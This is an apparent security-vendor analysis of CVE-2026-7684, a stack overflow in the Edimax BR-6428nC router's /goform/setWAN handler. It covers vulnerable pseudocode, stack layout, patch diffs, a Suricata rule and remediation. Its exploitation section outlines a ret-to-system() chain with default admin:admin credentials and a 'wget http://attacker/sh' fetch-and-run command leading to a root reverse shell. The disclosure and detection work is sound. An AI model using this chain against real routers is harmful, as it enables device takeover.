home intel cve-2026-7684-edimax-br6428nc-pptp-gateway-overflow
CVE Analysis 2026-05-03 · 8 min read

CVE-2026-7684: Stack Overflow in Edimax BR-6428nC via pptpDfGateway

The /goform/setWAN handler in Edimax BR-6428nC ≤1.16 copies the pptpDfGateway POST parameter into a fixed-size stack buffer without bounds checking, enabling unauthenticated RCE.

#buffer-overflow#remote-code-execution#firmware-vulnerability#network-device#input-validation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7684 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-7684Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7684 is a stack-based buffer overflow in the Edimax BR-6428nC wireless router, affecting all firmware revisions up to and including 1.16. The vulnerability resides in the web management CGI handler responsible for WAN configuration — specifically in the processing of the pptpDfGateway POST parameter within /goform/setWAN. An attacker with network access to the management interface (default: LAN-side HTTP on port 80, but frequently exposed to WAN in misconfigured deployments) can submit an oversized value for pptpDfGateway and overflow a fixed-size stack buffer, overwriting the saved return address and achieving arbitrary code execution under the web server process context (root on this platform).

The vendor was notified prior to disclosure and did not respond. A public proof-of-concept exists. CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — the PR:L reflects that the management interface typically requires a login session cookie, though session fixation weaknesses in this firmware class are well-documented and frequently reduce this to PR:N in practice.

Root cause: setWAN_handler() copies the attacker-controlled pptpDfGateway CGI parameter directly into a 64-byte stack buffer via an unchecked strcpy(), with no length validation at any point in the call chain.

Affected Component

The vulnerable code lives inside the embedded HTTP daemon — typically a stripped MIPS32 ELF binary named boa or a vendor-customized equivalent, linked against uClibc. The CGI dispatch table routes /goform/setWAN POST requests to a single monolithic handler. All WAN mode parameters — PPPoE, PPTP, L2TP, static IP — are parsed in the same function, with mode-specific fields conditionally copied into local stack buffers. The pptpDfGateway field (PPTP default gateway, expected to be an IPv4 dotted-decimal string, max 15 bytes) receives no length guard before the copy.

Root Cause Analysis

The following is reconstructed pseudocode from a representative firmware image of this device family, consistent with the behavior described in the CVE and with typical patterns in Edimax/Realtek SDK-derived web handlers of this era:


// Reconstructed pseudocode — setWAN CGI handler
// Binary: /bin/boa (MIPS32 LE, uClibc), stripped
// Function: setWAN_handler (reconstructed name)

typedef struct {
    char wanMode[16];           // "PPTP", "PPPOE", "STATIC", etc.
    char pptpServer[64];        // PPTP server hostname/IP
    char pptpUser[64];          // PPTP username
    char pptpPass[64];          // PPTP password
    char pptpDfGateway[64];     // PPTP default gateway  <-- VULNERABLE FIELD
    char pptpSubnet[20];        // subnet mask
    char pptpLocalIp[20];       // local IP for PPTP
    // ... additional WAN fields
} wan_config_t;

int setWAN_handler(struct server *sv, struct request *req) {
    wan_config_t cfg;           // stack-allocated, total ~400 bytes on stack
    char *param;

    memset(&cfg, 0, sizeof(cfg));

    param = get_cgi_param(req, "wanMode");
    if (param) strncpy(cfg.wanMode, param, sizeof(cfg.wanMode) - 1);

    if (strcmp(cfg.wanMode, "PPTP") == 0) {

        param = get_cgi_param(req, "pptpServer");
        if (param) strncpy(cfg.pptpServer, param, sizeof(cfg.pptpServer) - 1);

        param = get_cgi_param(req, "pptpUser");
        if (param) strncpy(cfg.pptpUser, param, sizeof(cfg.pptpUser) - 1);

        param = get_cgi_param(req, "pptpPass");
        if (param) strncpy(cfg.pptpPass, param, sizeof(cfg.pptpPass) - 1);

        param = get_cgi_param(req, "pptpDfGateway");
        if (param) {
            strcpy(cfg.pptpDfGateway, param);  // BUG: no bounds check here
                                               // cfg.pptpDfGateway is 64 bytes
                                               // param is attacker-controlled,
                                               // unbounded length from POST body
        }

        param = get_cgi_param(req, "pptpSubnet");
        if (param) strncpy(cfg.pptpSubnet, param, sizeof(cfg.pptpSubnet) - 1);

        apply_pptp_config(&cfg);
    }

    // ... handle other WAN modes

    send_http_response(sv, req, "200 OK", "setWAN success");
    return 0;
    // BUG: saved $ra on stack is now overwritten before this return
}

The inconsistency is notable: pptpServer, pptpUser, and pptpPass all use strncpy() with correct size arguments. pptpDfGateway alone uses raw strcpy() — a classic single-field omission that suggests either a late-added field or a copy-paste error during development. This pattern is consistent with Realtek-SDK-derived firmware where individual developers add fields to existing handlers without auditing the surrounding code.

Memory Layout

The wan_config_t structure is stack-allocated inside setWAN_handler(). The MIPS32 calling convention places the saved return address ($ra) and saved frame pointer ($fp/$s8) above the local variable frame. The overflow walks through the struct fields sequentially:


// wan_config_t stack layout (approximate, MIPS32, no stack canary)
struct wan_config_t {
    /* +0x000 */ char wanMode[16];
    /* +0x010 */ char pptpServer[64];
    /* +0x050 */ char pptpUser[64];
    /* +0x090 */ char pptpPass[64];
    /* +0x0D0 */ char pptpDfGateway[64];   // overflow origin
    /* +0x110 */ char pptpSubnet[20];
    /* +0x124 */ char pptpLocalIp[20];
    /* +0x138 */ char pptpMtu[8];
    /* +0x140 */ char pptpMru[8];
    /* +0x148 */ char _pad[24];            // compiler alignment / other locals
    // --- stack frame metadata ---
    /* +0x160 */ uint32_t saved_s0;
    /* +0x164 */ uint32_t saved_s1;
    /* +0x168 */ uint32_t saved_fp;        // saved $fp/$s8
    /* +0x16C */ uint32_t saved_ra;        // saved return address  <-- overwrite target
};

STACK STATE BEFORE OVERFLOW (pptpDfGateway = "192.168.0.1\0"):
  [sp+0x0D0]  31 39 32 2e 31 36 38  "192.168"
  [sp+0x0D7]  2e 30 2e 31 00 00 00  ".0.1\0\0\0"
  [sp+0x110]  [pptpSubnet - zeroed ]
  [sp+0x168]  xx xx xx xx           saved $fp  (legitimate)
  [sp+0x16C]  yy yy yy yy           saved $ra  (legitimate return addr)

STACK STATE AFTER OVERFLOW (pptpDfGateway = "A"*152 + "\xNN\xNN\xNN\xNN"):
  [sp+0x0D0]  41 41 41 41 41 41 41  "AAAAAAA" ...
              [ 152 bytes of attacker data overwrite intervening fields ]
  [sp+0x168]  41 41 41 41           saved $fp  = 0x41414141 (clobbered)
  [sp+0x16C]  NN NN NN NN           saved $ra  = attacker-controlled PC
              ^--- function returns into attacker-controlled address

The device runs without stack canaries (no -fstack-protector in the SDK build flags for this firmware generation) and without ASLR (MIPS Linux 2.6.x kernel, randomize_va_space=0). The binary is not PIE. These factors make straight return-address overwrite reliable without any info leak prerequisite.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Authenticate to management interface (admin:admin default, or exploit session
   fixation — cookie value is sequential and device-predictable).

2. Identify firmware version via unauthenticated /goform/getInfo or Server header
   to confirm target is BR-6428nC ≤ 1.16 and select correct gadget addresses.

3. Locate ROP gadgets in the non-ASLR boa binary for stack pivot:
     - gadget_1: lw $ra, X($sp); jr $ra   (standard MIPS ret2libc trampoline)
     - Target: system() in uClibc at fixed load address.

4. Build payload:
     pptpDfGateway = "A" * 152         // fill pptpDfGateway + intervening fields
                   + pack(0x41414141)  // clobber saved $fp (don't care)
                   + pack(system_addr) // overwrite saved $ra with system()

5. Place command string in a predictable location (e.g., another POST parameter
   value that lands at a known stack or BSS address), or use environment via
   HTTP headers that boa copies into environ[].

6. Send POST /goform/setWAN with:
     wanMode=PPTP
     &pptpDfGateway=<152-byte pad>
     &pptpSubnet=   // "wget http://attacker/sh -O /tmp/sh;sh /tmp/sh"

7. setWAN_handler() executes strcpy(), overflows stack, returns to system().
   system() picks up command string from location seeded in step 6.

8. Reverse shell / implant executes as root.

Patch Analysis

The vendor has not issued a patch as of publication. The correct remediation is a one-line change at the point of copy. The following diff illustrates what a minimal correct fix looks like, consistent with how the adjacent fields are already handled:


// BEFORE (vulnerable — firmware ≤ 1.16):
param = get_cgi_param(req, "pptpDfGateway");
if (param) {
    strcpy(cfg.pptpDfGateway, param);   // unbounded copy
}

// AFTER (patched):
param = get_cgi_param(req, "pptpDfGateway");
if (param) {
    strncpy(cfg.pptpDfGateway, param, sizeof(cfg.pptpDfGateway) - 1);
    cfg.pptpDfGateway[sizeof(cfg.pptpDfGateway) - 1] = '\0';
}

// STRONGER FIX — validate that it is a plausible IPv4 address before copy:
param = get_cgi_param(req, "pptpDfGateway");
if (param) {
    // inet_pton rejects anything that is not a valid IPv4/IPv6 address string,
    // bounding effective input to ≤45 bytes and enforcing format.
    struct in_addr addr;
    if (inet_pton(AF_INET, param, &addr) == 1) {
        strncpy(cfg.pptpDfGateway, param, sizeof(cfg.pptpDfGateway) - 1);
        cfg.pptpDfGateway[sizeof(cfg.pptpDfGateway) - 1] = '\0';
    } else {
        send_http_error(sv, req, "400 Bad Request", "invalid gateway");
        return -1;
    }
}

A defense-in-depth build fix would add -fstack-protector-strong to the SDK CFLAGS and enable kernel ASLR (randomize_va_space=2), which would raise the exploitation bar even if the strcpy() bug remained. Neither mitigation is present in the affected firmware.

Detection and Indicators

There is no authentication bypass needed for this bug if the attacker already holds a valid session. Detection should focus on anomalous POST body sizes to /goform/setWAN:


NETWORK SIGNATURES:

1. Suricata/Snort — oversized pptpDfGateway field:
   alert http any any -> $HOME_NET 80 (
     msg:"CVE-2026-7684 Edimax setWAN pptpDfGateway overflow attempt";
     flow:to_server,established;
     http.uri; content:"/goform/setWAN";
     http.request_body; content:"pptpDfGateway="; 
     pcre:"/pptpDfGateway=[^\x26]{65,}/";
     classtype:web-application-attack;
     sid:20267684; rev:1;
   )

2. Log pattern — boa access log:
   POST /goform/setWAN HTTP/1.1  [body length > 512 bytes is suspicious;
   legitimate PPTP config POST is typically < 200 bytes total]

3. Post-exploitation — watch for:
   - Unexpected outbound TCP from router management IP
   - New cron entries in /var/spool/cron/
   - Modified /etc/passwd or /tmp/*.sh artifacts
   - boa process spawning sh/wget children (visible in /proc if you have LAN access)

Remediation

Immediate: Disable remote WAN-side management access. On this device: Advanced Setup → Remote Management → disable. Restrict LAN-side management access to a trusted VLAN if the router is in a shared environment.

Short-term: Replace the device. The BR-6428nC is end-of-life hardware and the vendor has not responded to disclosure. No patch is expected. The same SDK-derived codebase is present in multiple Edimax models; treat the entire BR-6428n family as untrustworthy until a vendor advisory is issued.

If replacement is not immediately possible: Place a WAF or packet filter upstream that rejects POST requests to /goform/setWAN from any untrusted source. A simple iptables rule on an upstream Linux gateway blocking port 80 inbound to the router management IP reduces remote exploitability to zero for WAN-side attacks. LAN-side attacks require physical/network access and are lower priority but non-zero risk in shared environments.

Build-level (for vendors shipping similar SDK code): Add -fstack-protector-strong -D_FORTIFY_SOURCE=2 to all CGI handler compilation units. Audit all get_cgi_param() call sites for bare strcpy() / sprintf() usage — this pattern is endemic in Realtek/Edimax SDK web handlers and CVE-2026-7684 is unlikely to be the only instance in this codebase.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →